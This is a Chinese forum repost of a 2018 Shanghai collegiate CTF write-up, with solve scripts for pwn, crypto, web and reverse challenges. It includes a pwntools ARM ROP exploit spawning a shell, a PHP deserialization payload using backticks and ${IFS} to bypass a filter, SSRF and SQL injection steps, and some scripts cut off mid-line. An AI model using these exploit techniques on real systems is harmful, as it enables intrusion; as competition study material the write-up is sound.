魔扣论坛

魔扣源码论坛业务
查看: 294|回复: 2

2018 上海市大学生网络安全大赛wp

[复制链接]
  • TA的每日心情
    慵懒
    14 小时前
  • 签到天数: 2957 天

    [LV.Master]开坛老将

    7万

    主题

    227

    回帖

    27万

    积分

    管理员

    Rank: 30Rank: 30Rank: 30Rank: 30Rank: 30Rank: 30Rank: 30Rank: 30

    魔扣币
    745759
    贡献
    157915
    威望
    32799

    最佳新人活跃会员热心会员推广达人宣传达人突出贡献优秀版主荣誉管理论坛元老

    发表于 2019-10-14 21:15:42 | 显示全部楼层 |阅读模式
    魔扣币兑换比例:【 50以下 : ¥1 = 10 魔扣币 】丨【 50 - 100 :¥1 = 20 魔扣币】丨【 100以上:¥1 = 30 魔扣币 】

    本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有账号?立即注册

    x
    网络安全大赛
                    欢迎关注我的新博客: http://mmmmmmlei.cn
    利用周末打了上海市大学生网络安全大赛,最后打了第三,这次的 Misc 真的是难上天,除了签到其他都做不动…膜一波复旦的师傅们。比赛中我打的是 Crypto 和部分 Web,这里也贴了一些队友的 wp。
    Misc
    签到
    直接 base32 解码。
    Pwn
    baby_arm
    arm 架构,核心思想是改掉 mprotect 函数的参数,使 bss 段可执行。
    exp如下:
    #!/usr/bin/env Python
    # -*- coding: utf-8 -*-
    from pwn import *
    import os
    context.arch = 'aarch64'
    p = remote('106.75.126.171', 33865)
    start = p64(0x4007D8)+asm(shellcraft.aarch64.linux.sh())
    p.sendafter('Name:', start.ljust(512, '\x00'))
    padding='a'*0x48
    pop=0x4008CC
    lea=0x4008ac
    bss= 0x411068
    payload = flat(padding, pop, 0, lea, 0, 1, bss, 7, 0x1000, 0, p64(0x411070)*0x100)
    p.send(payload)
    p.interactive()
    Crypto
    rsaaaaa
    这道题有两个点,第一个点是 RSA 中给定 m 和 c,提供 d 和 n,这里脚本随机生成的公私钥,想要直接获取基本不可能,我们看到服务器脚本只判断了一个等式:

    只要满足 pow(c,D,N) == m 即可,所以我们可以自己选定一个 d,然后令 n=pow(c,d)-m 即可。
    第二个点是下面这段代码:

    这里给了我们一次解密的机会,但不允许解密明文,这个考点在之前的 suctf 出过,思路是让服务器解密(c*pow(2,e,n))%n ,这样得到的明文是 2*m,除2即可。
    脚本如下:(拿 socket 写的,比较丑)
    # -*- coding: utf-8 -*-
    from hashlib import sha512
    import socket
    import string
    import re
    from Crypto.Util.number import *
    from Crypto.Cipher import AES
    HOST='106.75.101.197'
    PORT=7544
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((HOST, PORT))
    def brute_force(pad, shavalue):
        dict = string.letters + string.digits
        key = ""
        for i1 in dict:
            tmp = key
            key1 = tmp + i1
            for i2 in dict:
                tmp = key1
                key2 = tmp + i2
                for i3 in dict:
                    tmp = key2
                    key3 = tmp + i3
                    for i4 in dict:
                        tmp = key3
                        key4 = tmp + i4
                        final_key = key4
                        if sha512(pad+key4).hexdigest()==shavalue:
                            print key4
                            return key4
    content = sock.recv(1024).strip()
    print content
    pad=content[20+7:20+7+16]
    hash=content[20+33:]
    print pad
    print hash
    sock.recv(1024).strip()
    sock.send(str(brute_force(pad,hash))+"\n")
    print sock.recv(1024).strip()
    content=sock.recv(1024).strip()
    print content
    m=int(re.findall(":(.+?)\nand",content)[0],16)
    c=int(re.findall("ciphertext:0x(.+)",content)[0],16)
    d=97
    n=pow(c,d)-m
    print n
    print sock.recv(1024).strip()
    sock.send(str(n)+"\n")
    print sock.recv(1024).strip()
    sock.send(str(d)+"\n")
    print sock.recv(1024).strip()
    msg1 = hex(m)[2:-1].decode('hex')
    content=sock.recv(1024).strip()
    print content
    n=int(re.findall("n=(.+?)\n",content)[0],16)
    e=int(re.findall("e=(.+?)\n",content)[0],16)
    c=re.findall("c=(.+)",content)[0]
    c=c+sock.recv(1024).strip()
    c=int(c,16)
    print c
    print sock.recv(1024).strip()
    sock.send(str((c*pow(2,e,n))%n)+"\n")
    content=sock.recv(1024).strip()
    print content
    m=int(re.findall("message:0x(.+)",content)[0],16)
    sock.recv(1024).strip()
    msg2 = hex(m/2)[2:-1].decode('hex')
    sock.send(str(m/2)+"\n")
    print sock.recv(1024).strip()
    content=sock.recv(1024).strip()
    flag=re.findall("flag:0x(.+)",content)[0]
    flag=flag.decode("hex")
    cipher = AES.new(msg2, AES.MODE_CBC, msg1)
    print cipher.decrypt(flag)
    这个题我用 socket 遇到了一个坑点,就是在收到服务器发来的 n,e,c 时,接受到 c 后服务器又发来了一个大约 29 长度的 16 进制数,我开始不知道是什么,结果脚本死活过不了,发过去的结果不对。
    卡了好久,之后发现 c 的位数好像有点少,才明白那个 16 进制原来是 c 的后面一部分… 不知为何给我发过来的时候分了两步发送,所以才有我的这段代码:
    c=re.findall("c=(.+)",content)[0]
    c=c+sock.recv(1024).strip()
    c=int(c,16)
    最后:

    flag{ec35162f-94b3-47e4-8d2c-6da6bba0391f}

    aessss
    这个题目问题出在 padding 的时候,由于不足 256 位要进行 padding,padding 的字节也就是缺的字节数,但是如果明文够 256 字节,那么按照代码写的就不进行padding:
        def pad(self, s):
            s += (256 - len(s)) * chr(256 - len(s))
            ret = ['\x00' for _ in range(256)]
            for index, pos in enumerate(self.s_box):
                ret[pos] = s[index]
            return ''.join(ret)
    最大的问题出在 unpad 上,unpad 没有进行检查,仅仅通过最后一个字节来判断填充的字节数。
    def unpad(self, s):
            ret = ['\x00' for _ in range(256)]
            for index, pos in enumerate(self.invs_box):
                ret[pos] = s[index]
            return ''.join(ret[0:-ord(ret[-1])])
    而且服务器提供了加密当前的 flag 以及对当前的 flag 后面追加信息的功能,我们的利用思路如下:
    [ol]
  • 选择 choice2,追加 256-33 =223字节,使当前 flag 不需要填充,追加的最后一个字节设置成chr(256-32=224)
  • 服务器对 flag 追加我们的信息,并进行 s 盒替换,结果赋给类中的 flag 变量。
  • 我们再次选择 choice2,这里由于我们需要追加,服务器会将类中的 flag 变量取出进行逆 S 盒替换和 unpad,这样按照这个 unpad 算法会把后面 224 字节的全部当成 padding去掉,明文剩下了真正 flag 的前32位
  • 我们此时输入一个字符 i,那么此时加密的对象就是flag[:32]+i
  • 选择 choice1 对当前 flag 加密,控制 i 进行爆破,如果得到的密文和最初的 flag 加密的密文一样,就得到了 flag 的最后一个字节
  • 逐字节爆破,直至获取全部的 flag。
    [/ol]
    解题脚本如下:
    # -*- coding: utf-8 -*-
    from hashlib import sha256
    import socket
    import string
    HOST='106.75.13.64'
    PORT=54321
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((HOST, PORT))
    def brute_force(pad, shavalue):
        dict = string.letters + string.digits
        key = ""
        for i1 in dict:
            tmp = key
            key1 = tmp + i1
            for i2 in dict:
                tmp = key1
                key2 = tmp + i2
                for i3 in dict:
                    tmp = key2
                    key3 = tmp + i3
                    for i4 in dict:
                        tmp = key3
                        key4 = tmp + i4
                        final_key = key4
                        if sha256(key4+pad).hexdigest()==shavalue:
                            print key4
                            return key4
    def choice1():
        sock.send("1\n")
        result=sock.recv(1024).strip()[30:]
        sock.recv(1024).strip()
        return result
    def choice2(pad):
        sock.send("2\n")
        sock.recv(1024).strip()
        sock.send(pad+"\n")
        sock.recv(1024).strip()
        sock.recv(1024).strip()
    def choice3(str):
        sock.send("3\n")
        sock.recv(1024).strip()
        sock.send(str+"\n")
        result=sock.recv(1024).strip()[33:]
        sock.recv(1024).strip()
        return result
    content = sock.recv(1024).strip()
    pad=content[12:12+16]
    hash=content[33:33+64]
    sock.recv(1024).strip()
    sock.send(str(brute_force(pad,hash))+"\n")
    print sock.recv(1024).strip()
    flag_enc=choice1()
    flag=""
    for i in range(33):
        a = ''.join(['a' for _ in range(223)])
        a = a[:-1] + chr(224+i)
        for c in string.printable:
            print c+flag
            choice2(a)
            choice2(c+flag)
            if choice1() == flag_enc:
                flag=c+flag
                print "success:",flag
                break
    爆破到最后一个字节崩了。。。 应该是去掉了所有的 flag ,不过可以猜出来 flag


    flag{H4ve_fun_w1th_p4d_and_unp4d}

    Web
    what are you doing?
    提示看 robots.txt,发现了 source.php 和 flag.php。
    访闻 source.php ,提示管理员登录,改包利用 x-client-ip 进行绕过,提示要 post admin 和 url 参数。
    url 放进去网址后,得到一个路径,访问应该是源码。
    猜想是 SSRF ,利用 file 协议读取 flag:

    访问得到 flag。
    Can you hack me?
    存在源码泄露,index.php.swp,用 vim 还原:
    method = $method;
            $this->args = $args;
        }
        function __wakeup(){
            foreach($this->args as $k => $v) {
                $this->args[$k] = $this->waf(trim($v));
            }
        }
        function waf($str){
            $str=preg_replace("/[*;|?\n ]/","",$str);
            $str=str_replace('flag','',$str);
            return $str;
        }           
        function echo($host){
            system("echo $host");
        }
        function __destruct(){
            if (in_array($this->method, array("echo"))) {
                call_user_func_array(array($this, $this->method), $this->args);
            }
        }
    }
    $first='hi';
    $var='var';
    $bbb='bbb';
    $ccc='ccc';
    $i=1;
    foreach($_GET as $key => $value) {
            if($i===1)
            {
                $i++;
                $$key = $value;
            }
            else{break;}
    }
    if($first==="doller")
    {
        @parse_str($_GET['a']);
    if($var==='give'){
        if($bbb==='me'){
            if($ccc==='flag'){
                echo "
    welcome";
                $come=@$_POST['come'];
                unserialize($come);
            }
        }
        else{
            echo "
    think about it";
        }
    }
    else{
        echo "no";
    }
    }
    else{
        echo "can you hack me?";
    }
    ?>
    明显的反序列化,回调函数调用 echo 函数的 system,存在 waf,flag过滤用双写绕过,反引号没有过滤
    payload:
    come=O:4:"come":2:{s:12:"%00come%00method";s:4:"echo";s:10:"%00come%00args";a:1:{s:4:"host";s:30:"`nl${IFS}../../../../flaflagg`";}}
    GOOD JOB
    代码审计,看到最里面的 include 还以为是今年 HITCON 的 one-line-challenge 升级版,结果卡在了第一步…
    第一步是网鼎杯的上传题,学习了一波用数组绕过。
    之后文件名包含随机数,直接爆破。有个 unlike 使用 /. 绕过。
    主办方直接把平台关了… 太狠了,还想着复现一波,只能看看各位大师傅的 wp 了。
    Web4
    首先是 sql 注入,首先经典' or 1# 和 'or 0# ,然后拿 sqlmap 跑一波 ,level5 没有什么卵用。
    把盲注的 payload 贴到 sqlmap 的 url 里,sqlmap 一把梭,直接注出来管理员密码:

    解密,密码是adminpassword,进去发现是个文件上传,一直显示uploaded to ./***.txt please upload to ./flag.php  访问文件发现也没有,一直想 getshell 卡在这里。
    赛后看师傅题解发现自己思路太僵硬了… 这个题只需要上传到 flag.php 就得到 flag,思路就是抓包发现文件名拼接,绕过过滤的 php,然后有个%02 的截断(从来没听说过…),自己太菜了。
    Reverse
    CPP
    两个关键函数第一个 sub_40111A简单的异或与移位,所以逆算法就是将数组先按位异或,然后数组左移六位|数组右移两位。第二个Sub_401332复习了下离散数学,经过各种逻辑运算后其实最后还是等效为异或,相邻数异或然后一共四轮。
    脚本如下:
    flag1=''
    num1=[0x99, 0xB0, 0x87, 0x9E, 0x70, 0xE8,
          0x41, 0x44, 0x05, 0x04, 0x8B, 0x9A,
          0x74, 0xBC, 0x55, 0x58, 0xB5, 0x61,
          0x8E, 0x36, 0xAC, 0x09, 0x59, 0xE5,
          0x61, 0xDD, 0x3E, 0x3F, 0xB9, 0x15,
          0xED, 0xD5]
    for i in range(4):
        for j in range(len(num1)-1,0,-1):
            num1[j]=num1[j-1]^num1[j]
    for i in range(len(num1)):
        flag1+=chr((num1^i)>>2|(((num1^i)
    What is it
    先爆破 md5:
    import itertools
    import string
    from hashlib import md5
    def crackMd5():
    product = itertools.permutations(string.letters[:26],6)
    for test in product:
    md5_test = md5("".join(test)).hexdigest()
    print "".join(test)
    var1 = 0
    var2 = 0
    for i in range(len(md5_test)):
    if md5_test=='0':
    var1 += 1
    var2 += i
    if 10*var1 + var2 == 0x193:
    print "ans : "
    print "".join(test)
    print md5_test
    return
    print "failed!"
    crackMd5()
    ozulmt 这是跑出的字符串,然后动态调试可以在内存中直接看到 flag,不过要加上格式,根据checkht加上就好.

    flag{a197b847-7092-53a4-7c41-bc7d6d52e69d}

    Cyvm
    虚拟机逆向,直接 Angr 跑。
    import angr
    import claripy
    p = angr.Project('cyvm')
    flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(32)]
    flag = claripy.Concat(*flag_chars + [claripy.BVV(b'\n')])
    st = p.factory.blank_state(addr=0x400CB1,stdin=flag)
    for k in flag_chars:
        st.solver.add(k >= 32)
        st.solver.add(k

    flag{7h15_15_MY_f1rs7_s1mpl3_Vm}

    总结
    Web 感觉有些脑洞的东西,Crypto 的题都要写脚本,socket 感觉有点难用,要转 pwntools 了…
    做出 Misc 的都是带哥。
                                        
                   
                        
       
       
            相关阅读
    无声的战争:网络安全中的罪与罚
    电影《消失的罪证》里,刘艾利用“加壳”技术,让蓝镜直播APP能够绕过杀毒软件的追踪,准确获取用户信息,并将之卖到暗网获利
    网易斩获2018年全国网络安全员法制与安全知识竞赛一等
    2018年9月16日,网络安全宣传周期间,国家公安部网络安全保卫局组织主办的“全国网络安全员法制与安全知识竞赛”决赛在四
    360网络安全响应中心发布CPU漏洞修复指南
    0x00 概述2018年1月4日,Jann Horn等安全研究者披露了"Meltdown"(CVE-2017-5754)和"Spectre"(CVE-2017-5753 & CVE-2017-5715)两组C
    网络安全基础知识
    1、什么是防火墙?什么是堡垒主机?什么是DMZ?
    防火墙是在两个网络之间强制实施访问控制策略的一个系统或一组系统。
    堡垒主机是一种配
    黑客网络安全扫描工具
    项目简介
    Scanners Box是一个集合github平台上的安全行业从业者自研开源扫描器的仓库,包括子域名枚举、数据库漏洞扫描、弱口令或
  • 该用户从未签到

    3

    主题

    242

    回帖

    488

    积分

    中级魔扣

    Rank: 3Rank: 3

    魔扣币
    243
    贡献
    243
    威望
    0
    发表于 2023-2-5 15:02:34 | 显示全部楼层
    有空一起交流一下

    该用户从未签到

    2

    主题

    266

    回帖

    534

    积分

    高级魔扣

    Rank: 4

    魔扣币
    266
    贡献
    266
    威望
    0
    发表于 2023-2-24 19:53:12 来自手机 | 显示全部楼层
    请把你的心给我,与我为伍,这个世界太残酷了,我有些害怕。',
    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    • 联系我们
    • 新浪微博 :
    • 在线客服 :魔扣科技 
    • 源码QQ群 :魔扣源码论坛官方总群
    • 联系邮箱 :charlin#morko.net
    • 微信扫一扫
    快速回复 返回顶部 返回列表